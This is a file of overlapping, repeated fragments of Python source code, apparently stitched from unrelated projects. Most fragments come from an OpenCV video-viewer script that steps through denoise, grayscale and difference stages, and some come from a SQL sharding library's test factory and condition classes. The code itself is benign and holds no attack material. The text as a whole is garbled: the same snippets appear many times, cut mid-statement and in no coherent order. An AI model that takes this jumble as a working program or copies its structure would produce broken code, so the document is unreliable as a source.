"window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber(",
"extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"):",
"denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" )",
"video does not exist\") print(\"It can be created by running the 'p05_detect.py' script\")",
"os import cv2 as cv from _util import Scrubber, get_frames from p01_extract_valid_frames import",
"if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create()",
"Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer =",
"denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create()",
"= Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer",
"os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does not exist\") print(\"It can be created by",
"if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait()",
"from p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")),",
"color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\")",
"p02_denoise import denoise from p03_gray import to_grayscale from p04_diff import to_intensity_difference if not",
"exist\") print(\"It can be created by running the 'p05_detect.py' script\") else: gray_movie_viewer =",
"5: video does not exist\") print(\"It can be created by running the 'p05_detect.py'",
"not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if",
"os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if",
"from p01_extract_valid_frames import extract_valid_frames from p02_denoise import denoise from p03_gray import to_grayscale from",
") gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled",
"from _util import Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames from p02_denoise import denoise",
"diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does not",
"p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\"",
"from p02_denoise import denoise from p03_gray import to_grayscale from p04_diff import to_intensity_difference if",
"Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5:",
"import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" )",
"import extract_valid_frames from p02_denoise import denoise from p03_gray import to_grayscale from p04_diff import",
"get_frames from p01_extract_valid_frames import extract_valid_frames from p02_denoise import denoise from p03_gray import to_grayscale",
"as cv from _util import Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames from p02_denoise",
"color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" )",
"os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not",
"not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait()",
"cv2 as cv from _util import Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames from",
"window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")),",
") denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\"",
"if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create()",
"\"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"):",
"import cv2 as cv from _util import Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames",
"= Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part",
"Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer",
"p01_extract_valid_frames import extract_valid_frames from p02_denoise import denoise from p03_gray import to_grayscale from p04_diff",
") color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised",
"get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer =",
") scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does not exist\")",
"to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"):",
"window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does",
"gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" )",
"import Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames from p02_denoise import denoise from p03_gray",
"get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video",
"to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create()",
"print(\"Skipping part 5: video does not exist\") print(\"It can be created by running",
"can be created by running the 'p05_detect.py' script\") else: gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p05_detect.mp4\")),",
"get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber(",
"denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not",
"denoise from p03_gray import to_grayscale from p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\",",
"from p03_gray import to_grayscale from p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\")",
"get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber(",
"= Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer",
"denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\",",
"gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\")",
"by running the 'p05_detect.py' script\") else: gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p05_detect.mp4\")), window_title=\"detect\" ) gray_movie_viewer.create()",
"\"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"):",
"import denoise from p03_gray import to_grayscale from p04_diff import to_intensity_difference if not os.path.exists(\"target_p01_valid.mp4\"):",
"os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if",
"not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\" ) scaled_diff_viewer.create() scaled_diff_viewer.wait()",
"cv from _util import Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames from p02_denoise import",
"Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer =",
"scaled_diff_viewer.create() scaled_diff_viewer.wait() if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does not exist\") print(\"It",
"not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if",
"_util import Scrubber, get_frames from p01_extract_valid_frames import extract_valid_frames from p02_denoise import denoise from",
"<filename>view_all_videos.py import os import cv2 as cv from _util import Scrubber, get_frames from",
"\"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")), window_title=\"gray\" ) gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\",",
"created by running the 'p05_detect.py' script\") else: gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p05_detect.mp4\")), window_title=\"detect\" )",
"color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\", \"target_p02_denoised.mp4\") denoised_color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p02_denoised.mp4\")), window_title=\"denoised color\"",
"does not exist\") print(\"It can be created by running the 'p05_detect.py' script\") else:",
"color\" ) denoised_color_movie_viewer.create() denoised_color_movie_viewer.wait() if not os.path.exists(\"target_p03_gray.mp4\"): to_grayscale(\"target_p02_denoised.mp4\", \"target_p03_gray.mp4\") gray_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p03_gray.mp4\")),",
"if not os.path.exists(\"target_p01_valid.mp4\"): extract_valid_frames(\"target.mp4\", \"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait()",
"\"target_p01_valid.mp4\") color_movie_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p01_valid.mp4\")), window_title=\"color\" ) color_movie_viewer.create() color_movie_viewer.wait() if not os.path.exists(\"target_p02_denoised.mp4\"): denoise(\"target_p01_valid.mp4\",",
"not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does not exist\") print(\"It can be created",
"if not os.path.exists(\"target_p05_detect.mp4\"): print(\"Skipping part 5: video does not exist\") print(\"It can be",
"part 5: video does not exist\") print(\"It can be created by running the",
"gray_movie_viewer.create() gray_movie_viewer.wait() if not os.path.exists(\"target_p04_diff.mp4\"): to_intensity_difference(\"target_p03_gray.mp4\", \"target_p04_diff.mp4\") scaled_diff_viewer = Scrubber( get_frames(cv.VideoCapture(\"target_p04_diff.mp4\")), window_title=\"scaled diff\"",
"not exist\") print(\"It can be created by running the 'p05_detect.py' script\") else: gray_movie_viewer"
] |
[
"\"\"\" for address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__ = Metadata(self,",
"def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to run Do not override this",
"None test.__slash__ = Metadata(self, test, address_in_factory) yield test def _generate_tests(self, fixture_store): raise NotImplementedError()",
"RunnableTestFactory(object): def __init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name =",
"assert test.__slash__ is None test.__slash__ = Metadata(self, test, address_in_factory) yield test def _generate_tests(self,",
"__init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name = module_name self.factory_name",
"module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name = module_name self.factory_name = factory_name",
"fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to run Do not override this method directly.",
"self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__ = Metadata(self, test, address_in_factory) yield test def",
"Generates :class:`.RunnableTest` instances to run Do not override this method directly. Use :func:`.RunnableTestFactory._generate_tests`",
"def __init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name = module_name",
"method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__",
":class:`.RunnableTest` instances to run Do not override this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead.",
"\"\"\" Generates :class:`.RunnableTest` instances to run Do not override this method directly. Use",
"Metadata(self, test, address_in_factory) yield test def _generate_tests(self, fixture_store): raise NotImplementedError() # pragma: no",
"generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to run Do not override this method",
".metadata import Metadata class RunnableTestFactory(object): def __init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path",
"run Do not override this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory,",
"directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__ is",
"in self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__ = Metadata(self, test, address_in_factory) yield test",
"not override this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test in",
"address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__ = Metadata(self, test, address_in_factory)",
"= Metadata(self, test, address_in_factory) yield test def _generate_tests(self, fixture_store): raise NotImplementedError() # pragma:",
"module_name self.factory_name = factory_name def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to run",
"= factory_name def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to run Do not",
"self.module_name = module_name self.factory_name = factory_name def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances",
"class RunnableTestFactory(object): def __init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name",
"Metadata class RunnableTestFactory(object): def __init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path",
"this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test in self._generate_tests(fixture_store): assert",
"for address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__ = Metadata(self, test,",
":func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__",
"test.__slash__ = Metadata(self, test, address_in_factory) yield test def _generate_tests(self, fixture_store): raise NotImplementedError() #",
"self).__init__() self.file_path = file_path self.module_name = module_name self.factory_name = factory_name def generate_tests(self, fixture_store):",
"test in self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__ = Metadata(self, test, address_in_factory) yield",
"instances to run Do not override this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\"",
"import Metadata class RunnableTestFactory(object): def __init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path =",
"self.factory_name = factory_name def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to run Do",
"= module_name self.factory_name = factory_name def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to",
"instead. \"\"\" for address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__ is None test.__slash__ =",
"is None test.__slash__ = Metadata(self, test, address_in_factory) yield test def _generate_tests(self, fixture_store): raise",
"test, address_in_factory) yield test def _generate_tests(self, fixture_store): raise NotImplementedError() # pragma: no cover",
"factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name = module_name self.factory_name = factory_name def",
"self.file_path = file_path self.module_name = module_name self.factory_name = factory_name def generate_tests(self, fixture_store): \"\"\"",
"file_path self.module_name = module_name self.factory_name = factory_name def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest`",
"Do not override this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test",
"to run Do not override this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for",
"factory_name def generate_tests(self, fixture_store): \"\"\" Generates :class:`.RunnableTest` instances to run Do not override",
"from .metadata import Metadata class RunnableTestFactory(object): def __init__(self, file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__()",
"override this method directly. Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test in self._generate_tests(fixture_store):",
"file_path='', module_name='', factory_name=''): super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name = module_name self.factory_name =",
"= file_path self.module_name = module_name self.factory_name = factory_name def generate_tests(self, fixture_store): \"\"\" Generates",
"Use :func:`.RunnableTestFactory._generate_tests` instead. \"\"\" for address_in_factory, test in self._generate_tests(fixture_store): assert test.__slash__ is None",
"test.__slash__ is None test.__slash__ = Metadata(self, test, address_in_factory) yield test def _generate_tests(self, fixture_store):",
"super(RunnableTestFactory, self).__init__() self.file_path = file_path self.module_name = module_name self.factory_name = factory_name def generate_tests(self,"
] |
[
"condition_values) elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else:",
"class Conditions: def __init__(self, conditions=None): self.or_condition = OrCondition() if conditions: self.or_condition.and_conditions.extend(conditions.or_condition.and_conditions) def add(self,",
"RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition not support :\"",
"Range from shardingpy.util.strutil import equals_ignore_case class Column: def __init__(self, name, table_name): self.name =",
"0 for expr in sql_expressions: if isinstance(expr, SQLPlaceholderExpression): self._position_index_map[position] = expr.index elif isinstance(expr,",
"self.conditions if type(each) == Condition] if not result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object):",
"self.column = column self.operator = operator self._position_index_map = OrderedDict() self._values = list() position",
"and equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return hash(self.name) + 17 * hash(self.table_name) if",
"coding: utf-8 -*- from collections import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue",
"def __eq__(self, other): return other and isinstance(other, Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case(",
"return result def optimize(self): result = AndCondition() result.conditions = [each for each in",
"def __init__(self, condition=None): self.and_conditions = list() if condition: self.add(condition) def add(self, condition): assert",
"isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1 # Deprecated def get_sharding_value(self, parameters): condition_values =",
"other and isinstance(other, Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name) def __hash__(self):",
"return other and isinstance(other, Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name) def",
"assert isinstance(condition, Condition) if len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index):",
"import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil import equals_ignore_case",
"from shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil import equals_ignore_case class Column: def __init__(self,",
"if operator: assert isinstance(operator, ShardingOperator) self.column = column self.operator = operator self._position_index_map =",
"equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return hash(self.name) + 17 * hash(self.table_name) if self.table_name",
"self.table_name, other.table_name) def __hash__(self): return hash(self.name) + 17 * hash(self.table_name) if self.table_name else",
"self.name = name self.table_name = table_name def __eq__(self, other): return other and isinstance(other,",
"result.insert(position, parameter) else: result.append(parameter) return result class AndCondition(object): def __init__(self): self.conditions = list()",
"for each in self.conditions if type(each) == Condition] if not result.conditions: result.conditions.append(NullCondition()) return",
"__init__(self, condition=None): self.and_conditions = list() if condition: self.add(condition) def add(self, condition): assert isinstance(condition,",
"def find(self, column, index): pass class Conditions: def __init__(self, conditions=None): self.or_condition = OrCondition()",
"operator, *sql_expressions): if column: assert isinstance(column, Column) if operator: assert isinstance(operator, ShardingOperator) self.column",
"shardingpy.exception import UnsupportedOperationException from shardingpy.parsing.parser.expressionparser import SQLPlaceholderExpression, SQLTextExpression, SQLNumberExpression from shardingpy.util.extype import RangeType,",
"if self.table_name else 0 class Condition: def __init__(self, column, operator, *sql_expressions): if column:",
"def get_condition_values(self, parameters): result = self._values[:] for position, param_index in self._position_index_map.items(): parameter =",
"def __init__(self): self.conditions = list() def get_conditions_map(self): result = defaultdict(list) for each in",
"return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition not support",
"__init__(self, column, operator, *sql_expressions): if column: assert isinstance(column, Column) if operator: assert isinstance(operator,",
"shardingpy.util.extype import RangeType, Range from shardingpy.util.strutil import equals_ignore_case class Column: def __init__(self, name,",
"== Condition] if not result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object): def __init__(self, condition=None):",
"parameter = parameters[param_index] if position < len(result): result.insert(position, parameter) else: result.append(parameter) return result",
"type(each) == Condition] if not result.conditions: result.conditions.append(NullCondition()) return result class OrCondition(object): def __init__(self,",
"collections import OrderedDict, defaultdict from shardingpy.api.algorithm.sharding.values import ListShardingValue, RangeShardingValue from shardingpy.constant import ShardingOperator",
"condition, sharding_rule): if sharding_rule.is_sharding_column(condition.column): self.or_condition.add(condition) class NullCondition(Condition): def __init__(self): super().__init__(None, None) class GeneratedKeyCondition(Condition):",
"= name self.table_name = table_name def __eq__(self, other): return other and isinstance(other, Column)",
"Condition: def __init__(self, column, operator, *sql_expressions): if column: assert isinstance(column, Column) if operator:",
"__eq__(self, other): return other and isinstance(other, Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name,",
"isinstance(other, Column) and equals_ignore_case(self.name, other.name) and equals_ignore_case( self.table_name, other.table_name) def __hash__(self): return hash(self.name)",
"class GeneratedKeyCondition(Condition): def __init__(self, column, index, value): super().__init__(column, ShardingOperator.EQUAL, SQLNumberExpression(value)) self.index = index",
"+ self.operator.value) def get_condition_values(self, parameters): result = self._values[:] for position, param_index in self._position_index_map.items():",
"result.conditions = [each for each in self.conditions if type(each) == Condition] if not",
"len(self.and_conditions) == 0: self.and_conditions.append(AndCondition()) self.and_conditions[0].conditions.append(condition) def find(self, column, index): pass class Conditions: def",
"column, index): pass class Conditions: def __init__(self, conditions=None): self.or_condition = OrCondition() if conditions:",
"elif isinstance(expr, SQLTextExpression): self._values.append(expr.text) elif isinstance(expr, SQLNumberExpression): self._values.append(expr.number) position += 1 # Deprecated",
"self.column.name, condition_values) elif self.operator == ShardingOperator.BETWEEN: return RangeShardingValue(self.column.table_name, self.column.name, Range(condition_values[0], RangeType.CLOSED, condition_values[1], RangeType))",
"= column self.operator = operator self._position_index_map = OrderedDict() self._values = list() position =",
"condition_values[1], RangeType)) else: raise UnsupportedOperationException(\"sharding condition not support :\" + self.operator.value) def get_condition_values(self,",
